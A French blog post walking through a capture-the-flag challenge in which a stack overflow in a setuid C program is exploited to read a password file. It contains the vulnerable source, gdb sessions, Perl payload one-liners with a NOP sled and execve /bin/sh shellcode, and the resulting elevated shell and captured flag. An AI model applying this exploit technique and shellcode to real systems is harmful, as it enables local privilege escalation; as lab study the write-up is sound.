Exploiter un stack overflow à l'ancienne.

Youpla la compagnie! Ça fait un bail non? :) Bon, récemment je me suis mis à regarder un peu les vieilles failles de sécu des années 90’/début 2000. Ok ok, de nos jours c’est complètement différent, on a des milliards de protections (PIE, ASLR, relro, stack canary, etc). Mais pour ma culture générale, j’ai voulu regarder. J’ai donc cherché sur google un site proposant des challenges, et je suis tombé sur l’un d’eux qui est vraiment bien fichu: il propose une dizaine de catégories (web, cryptanalyse, crackme, exploitation système, etc). Il propose de se connecter sur des machines où l’environnement est déjà préparé, etc.

NOTE: je ne le nomme pas, non pas pour ne pas faire de la publicité, mais parce qu’en traînant un peu mes guêtre par là, les administrateurs n’aiment pas trop que les solutions se trouvent trop facilement sur le net. Donc je vais tenter de rendre la recherche de solution un peu plus compliquée tout en restant cohérent (j’espère).

Donc jy bondis:

maison$ ssh -p 2222 user@<hostname>
[...]
$ ls -la
total 28
dr-xr-x---  2 user-cracked user          4096 May 21  2015 .
drwxr-xr-x 22 root root                  4096 Mar  2  2016 ..
-r-sr-x---  1 user-cracked user         10511 May  4  2013 prog
-r--r-----  1 user         user          1277 Jan  7  2011 prog.c
-r--r-----  1 user-cracked user-cracked    13 Feb  8  2012 .passwd
$ id
uid=1110(user) gid=1110(user) groups=1110(user),100(users)

L’objectif ici est d’exécuter le programme “prog”, qui est setuid, et de l’exploiter pour pouvoir lire le contenu du fichier .passwd.

$ cat prog.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
    char username[128];
    uid_t uid;
    pid_t pid;
};

void cpstr(char *dst, const char *src)
{
    for(; *src; src++, dst++)
        {
            *dst = *src;
        }
    *dst = 0;
}

void chomp(char *buff)
{
    for(; *buff; buff++)
        {
            if(*buff == '\n' || *buff == '\r' || *buff == '\t')
            {
            *buff = 0;
            break;
            }
        }
}

struct Init Init(char *filename)
{

    FILE *file;
    struct Init init;
    char buff[BUFFER+1];


    if((file = fopen(filename, "r")) == NULL)
        {
            perror("[-] fopen ");
            exit(0);
        }

    memset(&init, 0, sizeof(struct Init));

    init.pid = getpid();
    init.uid = getuid();

    while(fgets(buff, BUFFER, file) != NULL)
        {
            chomp(buff);
            if(strncmp(buff, "USERNAME=", 9) == 0)
            {
                cpstr(init.username, buff+9);
            }
        }
    fclose(file);
    return init;
}

int main(int argc, char **argv)
{
    struct Init init;
    if(argc != 2)
        {
            printf("Usage : %s <config_file>\n", argv[0]);
            exit(0);
        }
    init = Init(argv[1]);
    printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

    return 0;
}

Visiblement dans ce challenge on a un stack overflow classique dans cpstr(),mais en plus il faut faire attention à préserver certaines valeurs sur la pile. En effet dans Init(), on peut voir un:

fclose(file);
return init;

Si on ne fait pas attention à ce que `file’ ait une valeur correcte, l’appel à fclose() va faire crasher l’application avant le return, et nous empêcher d’exploiter l’overflow.

Typiquement le contenu du fichier devrait alors être de cette forme:

“USERNAME=” [JUNK pour remplir le buffer] … [file pointer] … [ new eip ]

Avec `new eip qui doit écraser $eip, et sauter dans du code qu’on veut donc faire exécuter.

Comme notre overflow va écraser les autres éléments de la structure Init, on va faire en sorte de mettre des valeurs qui facilitent le debug: -1 pour l’uid et -2 pour le pid.

$ mkdir /tmp/prout && export binpath=/tmp/prout/foo.bin
$ export uid="\xff\xff\xff\xff"
$ export pid="\xfe\xff\xff\xff"

On va faire tourner le programme dans gdb afin de savoir la valeur retournée par fopen(), pour la restaurer avant le fclose():

$ gdb ./prog
[...]
gdb$ disas Init
[...]
    0x080485bd <+20>:    mov    DWORD PTR [esp+0x4],edx
    0x080485c1 <+24>:    mov    DWORD PTR [esp],eax
    0x080485c4 <+27>:    call   0x8048480 <fopen@plt>
    0x080485c9 <+32>:    mov    DWORD PTR [ebp-0x1c],eax
[...]

On met donc un breakpoint juste apres le fopen() pour connaître la valeur du pointeur (en général les valeurs de retour sont dans $eax, et la ligne +24 nous le confirme, puisqu’on empile le contenu de $eax pour passer cette valeur à fclose():

gdb$ b *0x080485c9
Breakpoint 1 at 0x80485c9: file binary10.c, line 45.
gdb$ r /tmp/prout/foo.bin
[...]
Breakpoint 2, 0x080485c9 in Init (filename=0xbffffc80 "/tmp/prout/foo.bin") at binary10.c:45
45      in prog.c
gdb$ i r eax
eax            0x804b008        0x804b008

On est content, on a la valeur du FILE * qu’on désire sauver:

$ export fileptr="\x08\xb0\x04\x08"

Ensuite on exporte notre shellcode (on peut en trouver partout sur le net)…

$ export shellcode=$(perl -e 'print "\x90"x128 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')

On écrit ensuite un petit programme pour récupérer l’adresse d’une variable d’environnement donnée, pour un programme donné (on se met dans un répertoire avec les droits d’écriture – par exemple dans /tmp):

$ cat getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main(int argc, char **argv)
{
        char *p = NULL;

        if(argc < 3) {
                fprintf(stderr, "Usage: %s <env name> <binary>\n", argv[0]);
                return EXIT_FAILURE;
        }

        p = getenv(argv[1]);
        p += (strlen(argv[0]) - strlen(argv[2])) * 2;
        printf("%s is set at %p\n", argv[1], (void *) p);

        return EXIT_SUCCESS;
}
$ cc -o getenv getenv.c -m32
$ ./getenv shellcode $HOME/prog
0xbffffd47

Ok! Enfin on peut tester ce programme!

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x32 . "\x47\xfd\xff\xbf"' > "$binpath"  && ./ch10 "$binpath"
Segmentation fault

Pour avoir des infos supplémentaires je copie le binaire dans /tmp/prout:

$ cp ./prog /tmp/prout
$ ulimit -c unlimited

Maintenant un SIGSEGV me donnera quelque chose a manger:

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x32 . "\x47\xfd\xff\xbf"' > "$binpath"  && ./ch10 "$binpath"
Segmentation fault (core dumped)
$ gdb ./prog core
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

Ah? Je me serais planté de 4 bytes pour l’adresse dans la stack ou je devrais écraser $eip? Ok… bon ben on décale alors, histoire de faire coïncider l’adresse du shellcode dans l’environnement avec $eip. On insère donc 28x”B” au lieu de 32, et on rajoute un gentil petit canary apres l’adresse, au cas où.

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x28 . "\x47\xfd\xff\xbf" . "C"x4' > "$binpath"  && ./prog "$binpath"
Segmentation fault (core dumped)
[...]
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0  0x080486aa in Init (filename=0xbffffb00 "T\377\377\277u\377\377\277~\377\377\277\227\377\377\277\316\377\377\277\327\377\377\277\354\377\377\277") at binary10.c:65
65      binary10.c: No such file or directory.

Euh? Bon, si on regarde le code assembleur, on remarque que l’épilogue de la fonction Init() est différent de l’ordinaire. De même que dans main(), on réserve de la place pour le ‘struct Init Init’ qui sera retourné par Init() Donc l’espace sur la stack va être écrasé par la copie de l’objet de type ‘struct init’… ce qui va écraser tout ce qu’on avait pris soin de construire avec nos petits doigts boudinés. En effet, en sortie de Init(), on a:

[...]
0x08048699 <+240>:   lea    ebx,[ebp-0xa4]
0x0804869f <+246>:   mov    eax,0x22
0x080486a4 <+251>:   mov    edi,edx
0x080486a6 <+253>:   mov    esi,ebx
0x080486a8 <+255>:   mov    ecx,eax
0x080486aa <+257>:   rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0x080486ac <+259>:   mov    eax,DWORD PTR [ebp+0x8]
0x080486af <+262>:   add    esp,0x2ac
0x080486b5 <+268>:   pop    ebx
0x080486b6 <+269>:   pop    esi
0x080486b7 <+270>:   pop    edi
0x080486b8 <+271>:   pop    ebp
0x080486b9 <+272>:   ret    0x4

On fait encore quelques tests, en mettant que des \x47\xfd\xff\xbf a la place des “B”, pour valider cette hypothèse:

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "\x47\xfd\xff\xbf"x8 . "C"x4' > "$binpath"  && ./prog "$binpath"
Illegal instruction (core dumped)

Bon! Inspectons ça un peu mieux: on met un breakpoint juste avant le `ret’ de la fonction Init(), puis on exécute une instruction:

gdb$ ni
0xbffffd47 in ?? ()

gdb$ x/16x 0xbffffd47
0xbffffd47:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd57:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd67:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd77:     0x41414141      0x41414141      0x41414141      0x41414141

Hop, direct dans le buffer… Du coup, l’idée est que plutôt d’utiliser une variable d’environnement à l’adresse de laquelle on souhaite sauter, on va directement insérer notre shellcode dans le buffer init.username qu’on remplit en lisant le fichier. Comme le buffer fait 128 bytes et que le shellcode fait 25 bytes, on préfixe avec 103 NOP (0x90), et on termine avec ce qu’on souhaite faire exécuter:

$ export shbuf=$(perl -e 'print "\x90"x103 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
$ perl -e 'print "USERNAME=" . "'$shbuf'" . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x28 . "\x47\xfd\xff\xbf"x2' > "$binpath"  && ./prog"$binpath"
sh-4.2$
sh-4.2$ id
uid=1110(user) gid=1110(user) euid=1210(user-cracked) groups=1210(user-cracked),100(users),1110(user)
sh-4.2$ cat .passwd
Tirelipimponsurlechiwawa!

Et youpi les knackis, on peut valider ce challenge!

 
comments powered by Disqus